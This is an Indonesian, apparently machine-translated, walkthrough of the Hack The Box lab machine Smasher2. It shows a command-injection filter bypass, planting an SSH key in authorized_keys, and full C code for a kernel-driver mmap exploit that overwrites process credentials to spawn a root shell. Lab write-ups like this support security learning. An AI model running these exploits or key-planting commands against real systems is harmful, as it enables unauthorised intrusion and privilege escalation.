Hack The Box - Smasher2 Walkthrough Labu, WAF, dan LPE melalui driver pwn

gambar

Pada artikel ini, saya akan mulai menerbitkan solusi yang dikirim untuk diproses lebih lanjut dari situs HackTheBox . Saya harap ini akan membantu setidaknya seseorang untuk berkembang di bidang keamanan informasi. Pada artikel ini kita akan membalikkan perpustakaan untuk python, memotong WAF dan mengeksploitasi kerentanan mmap.

Koneksi ke laboratorium adalah melalui VPN. Disarankan untuk tidak terhubung dari komputer kerja atau dari host di mana data yang penting bagi Anda tersedia, karena Anda berakhir di jaringan pribadi dengan orang-orang yang mengetahui sesuatu di bidang keamanan informasi :)

Informasi Organisasi
Terutama bagi mereka yang ingin mempelajari sesuatu yang baru dan berkembang di bidang informasi dan keamanan komputer, saya akan menulis dan berbicara tentang kategori berikut:

  • PWN;
  • kriptografi (Crypto);
  • teknologi jaringan (Jaringan);
  • membalikkan (Reverse Engineering);
  • steganografi (Stegano);
  • pencarian dan eksploitasi kerentanan WEB.

Selain itu, saya akan membagikan pengalaman saya dalam forensik komputer, analisis malware dan firmware, serangan pada jaringan nirkabel dan jaringan area lokal, melakukan pentest dan menulis eksploitasi.

Agar Anda dapat mengetahui tentang artikel baru, perangkat lunak, dan informasi lainnya, saya membuat saluran di Telegram dan grup untuk membahas masalah apa pun di bidang ICD. Juga, saya pribadi akan mempertimbangkan permintaan pribadi Anda, pertanyaan, saran dan rekomendasi secara pribadi dan akan menjawab semua orang .

Semua informasi disediakan hanya untuk tujuan pendidikan. Penulis dokumen ini tidak bertanggung jawab atas kerusakan yang disebabkan seseorang sebagai akibat dari menggunakan pengetahuan dan metode yang diperoleh sebagai hasil dari mempelajari dokumen ini.

Kecerdasan


Pemindaian port


Mesin ini memiliki alamat IP 10.10.10.135, yang saya tambahkan ke / etc / hosts.
10.10.10.135 smasher2.htb
Pertama, kami memindai port terbuka. Karena butuh waktu lama untuk memindai semua port dengan nmap, saya akan melakukan ini dengan masscan. Kami memindai semua port TCP dan UDP dari antarmuka tun0 dengan kecepatan 1000 paket per detik.

 masscan -e tun0 -p1-65535,U:1-65535 10.10.10.135 --rate=1000 

gambar

Tuan rumah memiliki 3 port terbuka. Sekarang pindai dengan nmap untuk mendapatkan detail lebih lanjut.

 nmap -A 10.10.10.135 -p22,53,80 

gambar

Jadi kita memiliki SSH, DNS dan WEB, yang mengembalikan kode 403 (Dilarang, akses ditolak).

DNS


Mari kita periksa DNSnya. Untuk melakukan ini, gunakan klien host, dengan opsi -l, untuk menggunakan permintaan AXFR untuk melihat daftar semua host di domain.

 host -l smasher2.htb 10.10.10.135 

gambar

Karena itu, Anda perlu menambahkan entri baru di / etc / hosts.
10.10.10.135 wonderfulsessionmanager.smasher2.htb

WEB


Sekarang mari kita beralih untuk melihat apa yang akan diberikan WEB saat mengakses smasher2.htb.

gambar

Itu kosong. Dalam hal ini, Anda harus memilah direktori. Saya menggunakan golang gobuster cepat ditulis. Kami akan memilah direktori dalam 128 utas, kami akan tertarik pada html, php, txt, ekstensi conf, dan kode respons 200, 204, 301, 302, 307, 401.

 gobuster dir -t 128 -u http://smasher2.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt,conf -s 200,204,301,302,307,401 

gambar

Temukan direktori cadangan. Kami melihat apa yang ada di dalamnya.

gambar

Hasilnya, unduh file python dan pustaka. Selanjutnya, pergi ke nama domain lain, dan di sana kami menemukan formulir otorisasi.

gambar

Plugin Mozilla Firefox Wappalyzer melaporkan teknologi mana yang sedang digunakan. Dengan demikian, situs ini ditulis dalam python 2.7.15.

gambar

API WEB


Python


Kami baru saja menemukan file auth.py, mari kita parsing. Di baris pertama impor, kita beralih ke modul ses.so, yang juga kita temukan di cadangan.

gambar

Kami menemukan otentikasi dalam kode. Jika otentikasi berhasil, kami akan dikembalikan secret_token_info.

gambar

gambar

Mari kita pergi ke titik "/ api // pekerjaan". Data diterima dengan metode POST, sedangkan mereka harus dalam format JSON. Jika parameter jadwal ada dalam data, ia dilewatkan ke eksekusi sebagai perintah pada baris perintah.

gambar

Login dan kata sandi telah diedit ... Mereka ditransfer ke perpustakaan kami, yang membuat sesi - objek SessionManager.

gambar

Fungsi safe_init_manager (id) akan dipanggil pada setiap panggilan baru, karena before_request. Dengan demikian, sesi baru diinisialisasi.

gambar

Fungsi login () membuat objek manajer yang bergantung pada sesi.

gambar

Dan pemeriksaan dilakukan dengan metode check_login ().

gambar

Balikkan .so


Jadi kita perlu mencari tahu bagaimana data diperiksa. Untuk melakukan ini, di perpustakaan kita perlu memahami perangkat SessionManager.check_login (). Lemparkan ke IDA Pro, cari fungsi yang diinginkan.

gambar

Membuka fungsinya, saya memperhatikan grafiknya. Saya tertarik pada sejumlah blok yang lebih rendah, sebelum melakukan konvergensi.

gambar

Melihat melalui blok, Anda dapat melihat apa yang dibicarakan oleh cabang fungsi ini atau itu. Jadi, kita hanya perlu blok paling kanan.

gambar

Saya melukis garis perilaku fungsi yang menarik minat kami.

gambar

Sekarang mari kita pergi dan melihat apa yang terjadi. Di satu tempat, saya melihat kode identik untuk login dan kata sandi. Dan juga perbandingan yang sama.

gambar

Selain itu, fungsi yang sama dipanggil untuk login dan kata sandi.

gambar

Ini menunjukkan bahwa nama pengguna dan kata sandi sama. Tetapi karena nilai ini datang ke program python dan telah diedit, tetap hanya untuk memilah-milah. Saya mencoba nama standar dan, yang mengejutkan saya, Administrator datang (mengapa saya tidak segera mencoba ...).

gambar

Titik masuk


Kami punya kunci. Sekarang Anda perlu mengumpulkan permintaan untuk mengeksekusi kode. Seperti disebutkan sebelumnya, kita harus mengirim data metode POST yang berisi parameter jadwal dalam format JSON ke wonderfulsessionmanager.smasher2.htb / auth / fe61e023b3c64d75b3965a5dd1a923e392c8baeac4ef870334fcad98e6b264f8 / pekerjaan . Kami melakukan ini dengan ikal, dan meneruskan hasilnya ke jq. Kami akan menjalankan perintah whoami.

 curl -s -H "Cookie: session=eyJpZCI6eyIgYiI6Ik5UaGlZVEJrTmpBMk1qYzBNemN4TmprellUTm1NREV3TXprMk9USTRPV1UzTnpVd05EQXdZZz09In19.XfZcLA.R3UTUnieAARkHBTbqpTmofKWtBw" -H "Content-Type: application/json" http://wonderfulsessionmanager.smasher2.htb/api/fe61e023b3c64d75b3965a5dd1a923e392c8baeac4ef870334fcad98e6b264f8/job --data '{"schedule":"whoami"}' | jq 

gambar

Tetapi ketika mencoba mengeksekusi perintah "ls", kami mendapatkan kesalahan.

gambar

Kemungkinan besar ada filter di tim. Mari kita kirim "l \\ s" - berhasil, yang menunjukkan adanya filter.

gambar

PENGGUNA


Sekarang kita perlu mendapatkan shell normal di sistem. Sistem menjalankan SSH, sehingga kami dapat membuat kunci dan mendorongnya ke daftar host yang diotorisasi.

Pertama kita menghasilkan kunci.

gambar

Sekarang kita perlu mentransfer kunci publik kita ke file /home/dzonerzy/.ssh/authorized_keys. Tetapi untuk membuatnya mudah untuk ditransfer, kami akan menggunakan pengodeannya di base64.

 base64 -w0 id_rsa.pub 

Kami mentransfernya terlebih dahulu ke file sementara.

 ec\\ho \”=\” > /tmp/ralf 

Sekarang decode dan tulis sebagaimana dimaksud.
 ba\\se\\64 -\\d /tmp/ralf >> /home/dzonerzy/\\.\\ss\\h/auth\\orized_ke\\ys 

Kami mencatat kuncinya, sekarang jika semuanya baik-baik saja, kami dapat terhubung melalui SSH menggunakan kunci pribadi. Kami mencoba. Dan kita berada dalam sistem.

gambar

LPE - ROOT


Daftar


Di sebelah token pengguna terdapat file README. Baca itu.

gambar

Kita diberi tahu bahwa kita tidak boleh berpikir dengan cara standar ... Tapi setelah menyelesaikan enumerasi standar dan tidak menemukan apa pun, saya menarik perhatian ke grup tempat pengguna itu berada.

gambar

Grup adm memiliki akses ke file yang menarik.

gambar

Misalnya, auth.log. Ini tidak hanya mencerminkan fakta-fakta otorisasi yang berhasil dan tidak berhasil, tetapi juga fakta-fakta menggunakan perintah sudo.

 strings /var/log/auth.log | grep sudo 

gambar

Perintah yang menarik dijalankan atas nama root. Tapi itu terhubung dengan driver, jadi Anda perlu memastikan bahwa kami mengikuti jalan.

gambar

Ya, sayangnya, semuanya berjalan ke pengemudi.

Supir


Karena ini adalah driver (modul kernel), kami akan mendapatkan informasi tentang hal itu menggunakan modinfo.

gambar

Dikatakan bahwa pengemudi diperlukan untuk bekerja dengan perangkat dhid. Lihat itu.

gambar

Ya Ada perangkat seperti itu. Untuk mempelajari driver, saya menyalinnya sendiri dan mengunduhnya ke IDA Pro.

 scp -i id_rsa dzonerzy@10.10.10.135:/lib/modules/4.15.0-45-generic/kernel/drivers/hid/dhid.ko ./ 

Daftar fungsi yang sedikit, untuk PWN kami tertarik pada yang berfungsi dengan memori. Dilihat dari namanya, ini adalah dev_read dan dev_mmap.

gambar

Googling lebih lanjut, saya tidak secara khusus menemukan informasi tentang kerentanan driver terkait dengan membaca, yang tidak dapat dikatakan tentang mmap! Jadi saya pergi kepadanya.

gambar

Secara umum, mmap pada driver diperlukan untuk memetakan perangkat ke memori dan memilih halaman sesuai permintaan, karena pada awalnya perangkat tidak menggunakan memori fisik sama sekali.

Dalam kode ini, satu-satunya tempat yang menarik adalah panggilan ke fungsi remap_pfn_range, yang memungkinkan pemetaan linear memori perangkat ke ruang alamat pengguna.
int remap_pfn_range (struct vm_area_struct * vma, virt_add panjang yang tidak ditandatangani, pfn panjang yang tidak ditandatangani, ukuran panjang yang tidak ditandatangani, pgprot_t prot);

Menampilkan ukuran byte alamat fisik, dimulai dengan nomor halaman yang ditentukan oleh pfn untuk virtual address virt_add. Bit keamanan yang terkait dengan ruang virtual ditentukan dalam prot.

Seperti biasa, kita melihat parameter yang sebelumnya tidak diproses. Ini adalah parameter pfn dan ukuran, yang memungkinkan kami menampilkan sejumlah memori untuk membaca dan menulis.

Eksploitasi


Googling apa yang bisa dilakukan tentang itu, saya dikejutkan oleh cara eksploitasi yang mungkin. Jika kita dapat menemukan struktur kontrol kredit dalam memori, ini akan memungkinkan kita untuk mengubah pengguna menjadi 0. Dan kemudian memanggil shell, yang akan memberi kita shell dengan hak istimewa penuh.

gambar

Pertama, periksa apakah kami dapat menampilkan sejumlah besar memori. Kode berikut akan membuka perangkat dan menampilkan 0xf0000000 byte mulai dari alamat 0x40404040 untuk membaca dan menulis dengan kemungkinan menggunakan refleksi ini dengan proses lain yang mencerminkan objek yang sama.

kode
 #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #include <fcntl.h> #include <sys/mman.h> int main(int argc, char * const * argv){ printf("pid: %d\n", getpid()); int fd = open("/dev/dhid", O_RDWR); printf("fd: %d\n", fd); unsigned long size = 0xf0000000; unsigned long start_mmap = 0x40404000; unsigned int * addr = (unsigned int *)mmap((void*)start_mmap, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0); printf("mmap address: %lx\n", addr); int stop = getchar(); return 0; } 


Kompilasi: gcc sh.c -o sh.bin dan transfer ke host. Mari kita jalankan.

gambar

Sekarang mari kita pergi ke terminal ssh lain dan melihat kartu memori dari proses ini.

gambar

Seperti yang Anda lihat, alamatnya sama, label untuk membaca dan menulis, serta berbagi ditempelkan. Itu ide yang bagus. Langkah selanjutnya adalah menemukan struktur kredit dari proses dalam pikiran. Dapat dilihat dari struktur di atas bahwa ciri khasnya akan menjadi 8 angka yang terluka oleh uid kita, berurutan.

kode
 #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #include <fcntl.h> #include <sys/mman.h> int main(int argc, char * const * argv){ printf("pid: %d\n", getpid()); int fd = open("/dev/dhid", O_RDWR); printf("fd: %d\n", fd); unsigned long size = 0xf0000000; unsigned long start_mmap = 0x40404000; unsigned int * addr = (unsigned int *)mmap((void*)start_mmap, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0); printf("mmap address: %lx\n", addr); unsigned int uid = getuid(); unsigned int cred_cur = 0; unsigned int cred_iter = 0; while (((unsigned long)addr) < (start_mmap + size - 0x40)){ cred_cur = 0; if( addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid ){ cred_iter++; printf("found struct... ptr: %p, cred_iter: %d\n", addr, cred_iter); } addr++; } fflush(stdout); int stop = getchar(); return 0; } 


Jadi kami menemukan 19 struktur serupa.

gambar

Sekarang kita perlu menulis ulang semua uid menjadi 0. Setelah kita menulis ulang uid tentang struktur tertentu, kita akan memeriksa uid kita. Segera setelah uid kita menjadi sama dengan 0, kita dapat mengasumsikan bahwa kita telah menemukan kredit dari proses yang kita butuhkan.

kode
 #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #include <fcntl.h> #include <sys/mman.h> int main(int argc, char * const * argv){ printf("pid: %d\n", getpid()); int fd = open("/dev/dhid", O_RDWR); printf("fd: %d\n", fd); unsigned long size = 0xf0000000; unsigned long start_mmap = 0x40404000; unsigned int * addr = (unsigned int *)mmap((void*)start_mmap, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0); printf("mmap address: %lx\n", addr); unsigned int uid = getuid(); unsigned int cred_cur = 0; unsigned int cred_iter = 0; while (((unsigned long)addr) < (start_mmap + size - 0x40)){ cred_cur = 0; if( addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid ){ cred_iter++; printf("found struct... ptr: %p, crednum: %d\n", addr, cred_iter); cred_cur = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; if (getuid() == 0){ printf("found current struct... ptr: %p, crednum: %d\n", addr, cred_iter); break; } else{ cred_cur = 0; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; } } addr++; } fflush(stdout); int stop = getchar(); return 0; } 


gambar

Sekarang, setelah menemukan struktur yang kita butuhkan, kita akan mengubah uid ke 0xffffffff dan memanggil bash shell melalui fungsi exec.

kode
 #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #include <fcntl.h> #include <sys/mman.h> int main(int argc, char * const * argv){ printf("pid: %d\n", getpid()); int fd = open("/dev/dhid", O_RDWR); printf("fd: %d\n", fd); unsigned long size = 0xf0000000; unsigned long start_mmap = 0x40404000; unsigned int * addr = (unsigned int *)mmap((void*)start_mmap, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0); printf("mmap address: %lx\n", addr); unsigned int uid = getuid(); unsigned int cred_cur = 0; unsigned int cred_iter = 0; while (((unsigned long)addr) < (start_mmap + size - 0x40)){ cred_cur = 0; if( addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid && addr[cred_cur++] == uid ){ cred_iter++; printf("found struct... ptr: %p, crednum: %d\n", addr, cred_iter); cred_cur = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; addr[cred_cur++] = 0; if (getuid() == 0){ printf("found current struct... ptr: %p, crednum: %d\n", addr, cred_iter); cred_cur += 1; addr[cred_cur++] = 0xffffffff; addr[cred_cur++] = 0xffffffff; addr[cred_cur++] = 0xffffffff; addr[cred_cur++] = 0xffffffff; addr[cred_cur++] = 0xffffffff; addr[cred_cur++] = 0xffffffff; addr[cred_cur++] = 0xffffffff; addr[cred_cur++] = 0xffffffff; addr[cred_cur++] = 0xffffffff; addr[cred_cur++] = 0xffffffff; execl("/bin/sh","-", (char *)NULL); break; } else{ cred_cur = 0; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; addr[cred_cur++] = uid; } } addr++; } fflush(stdout); int stop = getchar(); return 0; } 


gambar

Kami punya root. Bahkan, ini adalah mesin yang sangat kompleks yang membutuhkan kecanggihan untuk menangani versi LPE ini.

Tentu saja, sangat sulit untuk mengeksploitasi kerentanan pada pengemudi, dan saya berterima kasih kepada komunitas yang membantu saya dengan petunjuk tentang bagaimana untuk sampai ke pengemudi dan berbagi artikel tentang eksploitasi kerentanan yang serupa dalam mmap.

Haruskah saya terus mempublikasikan analisis mesin yang dikirim untuk diproses lebih lanjut? Anda dapat bergabung dengan kami di Telegram . Mari kita mengumpulkan komunitas di mana akan ada orang-orang yang berpengalaman dalam banyak bidang TI, maka kita selalu dapat saling membantu dalam masalah TI dan keamanan informasi.

Source: https://habr.com/ru/post/id480454/


All Articles